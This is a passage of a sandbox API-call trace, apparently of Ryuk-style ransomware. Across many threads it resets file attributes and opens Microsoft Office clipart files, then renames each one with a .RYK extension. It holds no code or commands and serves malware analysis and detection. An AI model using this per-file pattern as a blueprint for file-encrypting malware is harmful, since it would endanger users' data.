	[0255.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3428
	os_tid = 0x3b68

	[0255.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF", dwFileAttributes=0x80) returned 0
	[0255.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3460
	os_tid = 0x3bcc

	[0256.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF", dwFileAttributes=0x80) returned 0
	[0256.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3461
	os_tid = 0x3bd0

	[0256.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", dwFileAttributes=0x80) returned 0
	[0256.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3462
	os_tid = 0x3bd4

	[0256.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF", dwFileAttributes=0x80) returned 0
	[0256.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.293] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3463
	os_tid = 0x3bd8

	[0256.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF", dwFileAttributes=0x80) returned 0
	[0256.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3464
	os_tid = 0x3bdc

	[0256.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF", dwFileAttributes=0x80) returned 0
	[0256.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.291] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3465
	os_tid = 0x3be0

	[0256.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF", dwFileAttributes=0x80) returned 0
	[0256.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.290] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3466
	os_tid = 0x3be4

	[0256.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF", dwFileAttributes=0x80) returned 0
	[0256.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3467
	os_tid = 0x3be8

	[0256.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF", dwFileAttributes=0x80) returned 0
	[0256.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3468
	os_tid = 0x3bec

	[0256.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF", dwFileAttributes=0x80) returned 0
	[0256.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3469
	os_tid = 0x3bf0

	[0256.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF", dwFileAttributes=0x80) returned 0
	[0256.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3470
	os_tid = 0x3bf4

	[0256.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF", dwFileAttributes=0x80) returned 0
	[0256.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3471
	os_tid = 0x3bf8

	[0256.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF", dwFileAttributes=0x80) returned 0
	[0256.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.203] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3472
	os_tid = 0x3bfc

	[0256.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF", dwFileAttributes=0x80) returned 0
	[0256.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.205] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3476
	os_tid = 0x3130

	[0256.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF", dwFileAttributes=0x80) returned 0
	[0256.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3477
	os_tid = 0x6c8

	[0256.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF", dwFileAttributes=0x80) returned 0
	[0256.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3478
	os_tid = 0x34cc

	[0256.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF", dwFileAttributes=0x80) returned 0
	[0256.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3479
	os_tid = 0x3914

	[0256.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF", dwFileAttributes=0x80) returned 0
	[0256.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3480
	os_tid = 0x39d8

	[0256.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF", dwFileAttributes=0x80) returned 0
	[0256.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3481
	os_tid = 0x39e0

	[0256.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF", dwFileAttributes=0x80) returned 0
	[0256.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.212] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3482
	os_tid = 0x39dc

	[0256.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF", dwFileAttributes=0x80) returned 0
	[0256.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3483
	os_tid = 0x395c

	[0256.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF", dwFileAttributes=0x80) returned 0
	[0256.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3484
	os_tid = 0x3460

	[0256.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF", dwFileAttributes=0x80) returned 0
	[0256.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3485
	os_tid = 0x345c

	[0256.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF", dwFileAttributes=0x80) returned 0
	[0256.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3486
	os_tid = 0x37a0

	[0256.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF", dwFileAttributes=0x80) returned 0
	[0256.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.217] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3487
	os_tid = 0x34c8

